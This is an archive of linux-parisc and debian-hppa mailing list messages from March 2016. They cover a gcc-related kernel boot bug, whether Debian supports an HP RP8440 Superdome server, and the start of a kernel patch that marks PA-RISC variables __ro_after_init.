From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.scsi
Subject: Re: [BUG] "block: make generic_make_request handle arbitrarily sized bios" breaks boot on parisc-linux
Date: Thu, 10 Mar 2016 08:04:51 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <4070811.QJ02MzEnrO@caliban.sf-tec.de>
References: <227C05EC-5A1C-4FAF-89D8-4A45AF600EC4@bell.net> <56E03E2A.5020208@bell.net> <56E093B6.4040206@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2709909.azQZ8q3AFL"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1457593918 23950 80.91.229.3 (10 Mar 2016 07:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Mar 2016 07:11:58 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Ming Lei <tom.leiming@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-block@vger.kernel.org,
	Linux SCSI List <linux-scsi@vger.kernel.org>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	Kent Overstreet <kent.overstreet@gmail.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 10 08:11:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1adulB-0001Ud-AJ
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Mar 2016 08:11:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S935104AbcCJHLt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Mar 2016 02:11:49 -0500
Original-Received: from mail.sf-mail.de ([78.47.74.12]:37364 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932742AbcCJHLs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Mar 2016 02:11:48 -0500
X-Greylist: delayed 401 seconds by postgrey-1.27 at vger.kernel.org; Thu, 10 Mar 2016 02:11:47 EST
Original-Received: (qmail 5571 invoked from network); 10 Mar 2016 07:05:02 -0000
Original-Received: from dslb-188-096-118-135.188.096.pools.vodafone-ip.de ([::ffff:188.96.118.135]:59952 HELO caliban.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.31dev) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <deller@gmx.de>; Thu, 10 Mar 2016 08:05:02 +0100
User-Agent: KMail/4.14.10 (Linux/4.4.3-1.g171b8f1-default; KDE/4.14.10; x86_64; ; )
In-Reply-To: <56E093B6.4040206@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26529 gmane.linux.scsi:111699
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26529>

--nextPart2709909.azQZ8q3AFL
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

> Right.
> I just succeeded in reproducing the bug with moving blk_bio_segment_split()
> into an own file (and with "extern" instead of "static" in blk-merge.c).
> When compiled with -O2 it still crashes. So, next step is to analyze what
> gcc does wrong when compiling this function. It should get easier now to
> find the reason, since we have a smaller reproducer now.

I have a ton of compilers here on my C8000 and a few even on my C3600 which 
drive nightly CMake dashboards. Could you send the testcase so I can pass it 
through the list and see what breaks?

Greetings,

Eike
--nextPart2709909.azQZ8q3AFL
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)

iEYEABECAAYFAlbhHJkACgkQXKSJPmm5/E7HNACfRi2PViWGjXY+EeBNwwR1fe1m
Bv4AnjzQq/DCYQipxboH8Bd5Ahr0rnTo
=LsIb
-----END PGP SIGNATURE-----

--nextPart2709909.azQZ8q3AFL--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: HP RP8440 Server - Superdome
Date: Tue, 15 Mar 2016 12:38:19 +0100
Lines: 48
Approved: news@gmane.org
Message-ID: <56E7F42B.1000803@gmx.de>
References: <000601d17e21$4c45fa10$e4d1ee30$@co.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1458041939 24174 80.91.229.3 (15 Mar 2016 11:38:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Mar 2016 11:38:59 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Mike Hosken <mike@csystems.co.nz>, debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Mar 15 12:38:50 2016
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1afnJK-0007qB-5s
	for debian-hppa@m.gmane.org; Tue, 15 Mar 2016 12:38:50 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id B9B6BB7; Tue, 15 Mar 2016 11:38:49 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Tue Mar 15 11:38:49 2016
Old-Return-Path: <deller@gmx.de>
X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on bendel.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-11.6 required=4.0 tests=FOURLA,FREEMAIL_FROM,
	LDOSUBSCRIBER,LDO_WHITELIST,RCVD_IN_DNSWL_LOW,RCVD_IN_MSPIKE_H2
	autolearn=unavailable autolearn_force=no version=3.4.0
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 67CFD11F
	for <lists-debian-hppa@bendel.debian.org>; Tue, 15 Mar 2016 11:38:41 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.6 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7, RCVD_IN_MSPIKE_H2=-0.001]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id LhLkn88PNX2y for <lists-debian-hppa@bendel.debian.org>;
	Tue, 15 Mar 2016 11:38:35 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.20])
	(using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id CCF35B7
	for <debian-hppa@lists.debian.org>; Tue, 15 Mar 2016 11:38:35 +0000 (UTC)
Original-Received: from [192.168.20.60] ([92.203.12.74]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MPppG-1ajd3k424o-004wwE; Tue, 15 Mar 2016 12:38:23
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <000601d17e21$4c45fa10$e4d1ee30$@co.nz>
X-Provags-ID: V03:K0:ZHrzo4R1+1ETSQHtKSSO/K0K4KniRNrVlGNJhP6FeVuGBg2TkZy
 toq0IpWusUkJZL2CSCDLgwT1Lz8cRU8IyVAwnhkzP2+TkMqQe+L+ONwvfDuQXypSKlSAUpx
 G6W0ZqSWZyHwzryPdERSWGnCEONJsAp05xyb4NHPLceXsLUQUIIR2+Ua3LlYzGLBzGqFzMd
 42akb2jqfxYdnVH+fQvZA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Lz/2D8+JtTk=:pf/crQjcoEDR+pbXcjJwxc
 dwjnSBpSsvTb3Q4at30KeHOnUhIws5aHsnsajOpRjTpRyEB385lcb6jocQpC7J+BG+gL1ZzGS
 WPjjzbHQrizYeQ+FvK/TmhAo8BfiIknT2N4Q1e6ROkcQO/Qsi/eOkDWvQagB5UZbmrngGYAqC
 CMHrn3xqDBe04/BjiPletPoxcglR1ZbZ9MLnpeVIMhqaaAaflRVPNCApZIQjU0HnzE56Xj+eL
 vvHDqchGuglKLjkPm2nx813I6LEojEAhPU6VxXvUvtTKXqMmLDk0Rp0CxMBx+1NCB1HKXL5u2
 qNhz2C5XNAaQbe6rwLDHw2ohKIixdvne2Y9GM3Xulh7vJYD/nKCvFlgeabZVLcrer22nwKoU5
 /J1QdEOjM8NE4VYNGZIXXTRxSq5mCsv1oWkaNMeiREaRyNqAQUOXVZeNq1qGL5I3gZkBHhNFv
 XmYgOqG/ch/erAZ/Fxa5EUFWlwSo9yE0JVRUGH42Y4DraeUhK3fRa2lHR/6o5u6wWcV8oYnlZ
 Ks/KTOzwEEnaoGSDo24XhVxYkem3QMYfukmLthHJcc6DBudDD9rqN+5WpdSrRx7Lm5D3oC+d0
 N1bpTqEb77r9FMJvKSgcALg6dKANH66cj3s+xUA1iijtAtOTpm6fCAB+un02oE1CJV31hrLEz
 Sz3+LMLyBM5stT+KThgeO5ENAAdZ0oDaMIUUyWxzt1MWhTED8nqigL/zlcPn40/6h91/hH0hW
 3lvtUWdglEbjjUvPmmeQAlG3Hg1tDIorr3aWevt9zk3ZU9BzpWWG4QJpymc7Jd3ic/OzUbc4 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <YSj8-hHv9SD.A.78D.JR_5WB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8367
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/56E7F42B.1000803@gmx.de
Resent-Date: Tue, 15 Mar 2016 11:38:49 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7381 gmane.linux.ports.parisc:26530
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7381>

Hi Mike,

On 14.03.2016 19:42, Mike Hosken wrote:
> Hi I have just acquired a HP RP8440 Server with the following specs-
>=20
> 9 x HP PA-8900 @ 1.067 dual core CPU,
> 24 x HP 4GB SuperDome Memory Modules,
> 4 x 146GB 15000rpm Wide Ultra320 SCSI HDDs,
> 48 X hp 0950-4741 Voltage Regulator Module (VRM),
> 3 x HP A9837-60303 HP PCA - Common PDH Daughter card (RoHS),
> 6 x HP AD193-8001 PCI-X 2-Port 4GB FC & 2-Port 1000BT adapter,
> 3x HP AB290-80001 PCI-X 2-Port U320 SCSI Adapter,
> 2x HP AB314-0002A Core I/O Board,
> 2x HP 0950-4637 Power Module 48VDC,
> DVD-RW,
> HP StorageWorks Dat72,
> 3x HP 0957-2183 PSUs

nice :-)

> My question is will Debian HPPA Linux support this hardware or should I=
 keep to the HP-UX.

Actually, I don't know.
Processors, Memory and probably SCSI should work with current kernels.
But I have no clue about the glue/logic chips in there.

In the wiki (https://parisc.wiki.kernel.org/index.php/Hardware_support) w=
e just have this sentence:
Support for Superdome will someday follow but requires some additional VM=
 work which is in progress.
But I don't know which kind of "VM work" is necessary...

Couldn't you just try at least once the boot image as described here:
https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
and then send us the logs. I think this can give some insights.

Helge

> I=92m planning on using this server for web hosting, Email and MYSQL et=
c,  replacing my A400 and A180c
>=20
> Any advise would be appreciated =20
>=20
> Thanks
> Mike



From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank@mybenke.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HP RP8440 Server - Superdome
Date: Tue, 15 Mar 2016 12:42:54 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <CAF7WtFX2QAuFGQWvfNzF03NBgO-CBkyGRFCPBNVDRU1QeohApg@mail.gmail.com>
References: <000601d17e21$4c45fa10$e4d1ee30$@co.nz>
	<56E7F42B.1000803@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1458042187 27993 80.91.229.3 (15 Mar 2016 11:43:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Mar 2016 11:43:07 +0000 (UTC)
Cc: Mike Hosken <mike@csystems.co.nz>,
	HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 15 12:43:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1afnNJ-0001Ng-W0
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 Mar 2016 12:42:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932844AbcCOLm5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Mar 2016 07:42:57 -0400
Original-Received: from mail-wm0-f45.google.com ([74.125.82.45]:36971 "EHLO
	mail-wm0-f45.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932428AbcCOLm4 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Mar 2016 07:42:56 -0400
Original-Received: by mail-wm0-f45.google.com with SMTP id p65so22395931wmp.0
        for <linux-parisc@vger.kernel.org>; Tue, 15 Mar 2016 04:42:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-transfer-encoding;
        bh=HyM7AOPmh4sLrHrCKJZ6bV3zEMchHlXKVcY7Whyla5k=;
        b=KJYW/ICXHqyxrTqb2MEMjVvQAdvPPRbeeNjQg8bfJjemiFey3yo8pLC+CYJkHAbZN0
         Jz94YiU08Bv8ylMfcvxY1Nto9A2i9mlnUh7/1iGhB8s0S6gRayysWDlUUlANTVNiRF9m
         j4Nl/AvNKoUh1p7mL6MOLzZsywZmxu/JrQ29kBXb4gHfgD8cgCts/Pc4d3Qjjirizdeg
         GthXEDf+ZQYOtCPE8Kbhe25ixd6b1fU3gh0I3PhpS+9POHwoMIsPclefZgZ+3D/GjToe
         TKpRfqTKEuG7hefxIMeMQ5HnAnXTCecyTcU3ZLPbi85lMsuupuXhfbA2ixukZDnZYAW+
         cW8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-transfer-encoding;
        bh=HyM7AOPmh4sLrHrCKJZ6bV3zEMchHlXKVcY7Whyla5k=;
        b=XyCvte0yJzM35sloLA/Eb1GYJoUI/114VUU6d2jK6h1d0bXwEK06kUYGs+/mz4RENb
         nzl5PFUZaAdJsg4SdcnoA782JsKdqkile1HrHLv6w43pbaM1jTrRcvR1g6dFyIv3qgc5
         xr7JGJ8tuJlKLEvNx3/5ZN3zeJD05zjECqln5j8/SHpR8eW67nWV2jQEKx9i274cGNQa
         9+txqqp9u+rvi6OeR42IjbRH8VgM9SXGkabHHnaEYKOFy/o80H6KZW1NWvHXNAWhVP7I
         eCMW6cLBtKHXvZzsZATfNPaFhFqrEP+iCQghnNxdEqIjrkmV7YVQgJNEJByQ8x1E59oq
         rC/Q==
X-Gm-Message-State: AD7BkJJFTCJuFuIO9KJBFP/KeNsZt4RTi9G2+Y+KaxgFbM6a0H/e/fAtDn05y6Sdr09pAjHYxAlZCD+CqnS/Xg==
X-Received: by 10.194.209.204 with SMTP id mo12mr32051272wjc.69.1458042175052;
 Tue, 15 Mar 2016 04:42:55 -0700 (PDT)
Original-Received: by 10.194.156.197 with HTTP; Tue, 15 Mar 2016 04:42:54 -0700 (PDT)
In-Reply-To: <56E7F42B.1000803@gmx.de>
X-Google-Sender-Auth: KbPc3DjY8njF5tEYrMghtJlpy1Q
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26531 gmane.linux.debian.ports.hppa:7382
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26531>

Hi,

all I know about the System ist that it has a cellboard based
architecture, and that there was never enough documentation released
that the according memory management could be programmed in Linux.

So probably this will not work.

May be on an physical partition level, there might be a chance, since
the single cellboard is pretty similar to the L-Class.

I personally would try to get the partition management on the RP
running and install one partition HP-UX and then try to work with
linux on an additional partition. Everything else would be rather
sporty.

Best regards.

On Tue, Mar 15, 2016 at 12:38 PM, Helge Deller <deller@gmx.de> wrote:
> Hi Mike,
>
> On 14.03.2016 19:42, Mike Hosken wrote:
>> Hi I have just acquired a HP RP8440 Server with the following specs-
>>
>> 9 x HP PA-8900 @ 1.067 dual core CPU,
>> 24 x HP 4GB SuperDome Memory Modules,
>> 4 x 146GB 15000rpm Wide Ultra320 SCSI HDDs,
>> 48 X hp 0950-4741 Voltage Regulator Module (VRM),
>> 3 x HP A9837-60303 HP PCA - Common PDH Daughter card (RoHS),
>> 6 x HP AD193-8001 PCI-X 2-Port 4GB FC & 2-Port 1000BT adapter,
>> 3x HP AB290-80001 PCI-X 2-Port U320 SCSI Adapter,
>> 2x HP AB314-0002A Core I/O Board,
>> 2x HP 0950-4637 Power Module 48VDC,
>> DVD-RW,
>> HP StorageWorks Dat72,
>> 3x HP 0957-2183 PSUs
>
> nice :-)
>
>> My question is will Debian HPPA Linux support this hardware or shoul=
d I keep to the HP-UX.
>
> Actually, I don't know.
> Processors, Memory and probably SCSI should work with current kernels=
=2E
> But I have no clue about the glue/logic chips in there.
>
> In the wiki (https://parisc.wiki.kernel.org/index.php/Hardware_suppor=
t) we just have this sentence:
> Support for Superdome will someday follow but requires some additiona=
l VM work which is in progress.
> But I don't know which kind of "VM work" is necessary...
>
> Couldn't you just try at least once the boot image as described here:
> https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
> and then send us the logs. I think this can give some insights.
>
> Helge
>
>> I=E2=80=99m planning on using this server for web hosting, Email and=
 MYSQL etc,  replacing my A400 and A180c
>>
>> Any advise would be appreciated
>>
>> Thanks
>> Mike
>



--=20
In theory, there is no difference between theory and practice.  In
practice, there is.

My Blogg: http://www.mybenke.org
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Protect some variables with __ro_after_init
Date: Tue, 15 Mar 2016 22:38:50 +0100
Lines: 410
Approved: news@gmane.org
Message-ID: <20160315213850.GA29583@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1458077959 20648 80.91.229.3 (15 Mar 2016 21:39:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Mar 2016 21:39:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 15 22:39:13 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1afwgJ-0003xS-3W
	for glpp-linux-parisc@plane.gmane.org; Tue, 15 Mar 2016 22:39:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753458AbcCOVjK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 15 Mar 2016 17:39:10 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50387 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753073AbcCOVjI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 15 Mar 2016 17:39:08 -0400
Original-Received: from ls3530.box ([92.203.1.104]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lhf3N-1a2XNu1fXN-00mqYr; Tue, 15 Mar 2016 22:38:55
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:O/qFkHW7fXbofsqTZCpC/ZfJxyHiUe8xHr5/1I777TAGQNaXdqq
 qNtEBGsR0TlFfmjuZCnIRuGFjeT6Df5+94WU669BPjGj6ERSDRf0dTD03AtGnWZUiB/JfrA
 pQ1qnYw0VbogfoEPawFe/wHjMR+HAqevX3JNOhqJFep8w/twEv3ZiOpfFCw9yT2zEUG2rlx
 l0p1iIFgW8+SiPe2BkjkA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:IQvshSqYmbk=:A8+0UOkVzS9GgP4w/MioR6
 GDpAaGLYRukj6ymUxIs1JlOpqc7z2+k6EvXYlEvxgLeSv8TvZl54eoMwmPbrMxBQhARSJ3qUA
 x7z1Hv9qkFKA9hpjdYWOilfafDHMrWsZrPUsAodFlChUMXykB3Ih6o2tOxS88KKVL4xyC+9rV
 eP8M+d5asGivQuPJuqyqMTzo7zO4BuIh7X2tYXCIgeb3B14JCuxJF02oBGX0qcizQPha1c7Vf
 bJYV4Fih665rOQSKBNcnZjCCphKJTQB0UrGzIEJPGxo4BXbX2Wz5QVzTN30DDcuxZ3M3cipct
 Vj2a+AoWErZJbp58jh/8GH5CFkZ89C1dtFpCU1xEs/e6roZHOEH8c9oeghuo8u8/bGFs3hLSN
 qHtlZTUSmv0zij+MyGgWLD8n2AbtSoEbSBoBa4j4Cr+CdsyEdJGh90fhwsskpR5J8J739LKmR
 bygP5tpG9Yvlj13kdT6bMqPty+eHT1qktmgLed0A1MBjenWgvZWDjmdGmy/z+cPA2V06fipnz
 dxuZTEhPoDCYRyhoncVBDs2MyE8UlwIgMZAHjC8iPtwvktEMYzbcYkXZ/AwekK9FMqd/R5oeU
 I4CahD+sE1pW02JKiokigKcCxOfsXCYTRidlTCbnaLeP5zSfNLx+5LWnyMeLout8Mq0e4/btn
 0jssL79YoBodsEIXDkGcBD2cNwfA2Z3FEAvF0shhX6tNPh1il27jG9Jg4t6oB1+Z1vthxxvpC
 eGzoMyT8rMAGwqB3twvl0qhxuQtzjcsncTEvb/QAeqYicqFW1joL6fllTPc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26532
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26532>

Commit c74ba8b (arch: Introduce post-init read-only memory) introduced
the __ro_after_init tag to mark variables read-only after bootup.

This patch converts some variables over to the new secure method.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
index df0f52b..3d0e17b 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -22,9 +22,6 @@
 
 #define __read_mostly __attribute__((__section__(".data..read_mostly")))
 
-/* Read-only memory is marked before mark_rodata_ro() is called. */
-#define __ro_after_init	__read_mostly
-
 void parisc_cache_init(void);	/* initializes cache-flushing */
 void disable_sr_hashing_asm(int); /* low level support for above */
 void disable_sr_hashing(void);   /* turns off space register hashing */
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 91c2a39..4654a77 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -28,9 +28,9 @@
 #include <asm/sections.h>
 #include <asm/shmparam.h>
 
-int split_tlb __read_mostly;
-int dcache_stride __read_mostly;
-int icache_stride __read_mostly;
+int split_tlb __ro_after_init;
+int dcache_stride __ro_after_init;
+int icache_stride __ro_after_init;
 EXPORT_SYMBOL(dcache_stride);
 
 void flush_dcache_page_asm(unsigned long phys_addr, unsigned long vaddr);
@@ -45,9 +45,9 @@ void flush_icache_page_asm(unsigned long phys_addr, unsigned long vaddr);
  */
 DEFINE_SPINLOCK(pa_tlb_lock);
 
-struct pdc_cache_info cache_info __read_mostly;
+struct pdc_cache_info cache_info __ro_after_init;
 #ifndef CONFIG_PA20
-static struct pdc_btlb_info btlb_info __read_mostly;
+static struct pdc_btlb_info btlb_info __ro_after_init;
 #endif
 
 #ifdef CONFIG_SMP
@@ -360,10 +360,10 @@ EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
-static unsigned long parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
+static unsigned long parisc_cache_flush_threshold __ro_after_init = FLUSH_THRESHOLD;
 
 #define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB threshold */
-static unsigned long parisc_tlb_flush_threshold __read_mostly = FLUSH_TLB_THRESHOLD;
+static unsigned long parisc_tlb_flush_threshold __ro_after_init = FLUSH_TLB_THRESHOLD;
 
 void __init parisc_setup_cache_timing(void)
 {
diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index f815066..462e19d 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -40,7 +40,7 @@
 #include <asm/parisc-device.h>
 
 /* See comments in include/asm-parisc/pci.h */
-struct dma_map_ops *hppa_dma_ops __read_mostly;
+struct dma_map_ops *hppa_dma_ops __ro_after_init;
 EXPORT_SYMBOL(hppa_dma_ops);
 
 static struct device root = {
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 2239590..34222dd 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -79,7 +79,7 @@ extern unsigned long pdc_result2[NUM_PDC_RESULT];
 
 /* Firmware needs to be initially set to narrow to determine the 
  * actual firmware width. */
-int parisc_narrow_firmware __read_mostly = 1;
+int parisc_narrow_firmware __ro_after_init = 1;
 #endif
 
 /* On most currently-supported platforms, IODC I/O calls are 32-bit calls
diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index 75aa0db..c4f323e 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -348,7 +348,7 @@ smp_slave_stext:
 ENDPROC(parisc_kernel_start)
 
 #ifndef CONFIG_64BIT
-	.section .data..read_mostly
+	.section .data..ro_after_init
 
 	.align	4
 	.export	$global$,data
diff --git a/arch/parisc/kernel/inventory.c b/arch/parisc/kernel/inventory.c
index f0b6722..e618641 100644
--- a/arch/parisc/kernel/inventory.c
+++ b/arch/parisc/kernel/inventory.c
@@ -38,7 +38,7 @@
 */
 #undef DEBUG_PAT
 
-int pdc_type __read_mostly = PDC_TYPE_ILLEGAL;
+int pdc_type __ro_after_init = PDC_TYPE_ILLEGAL;
 
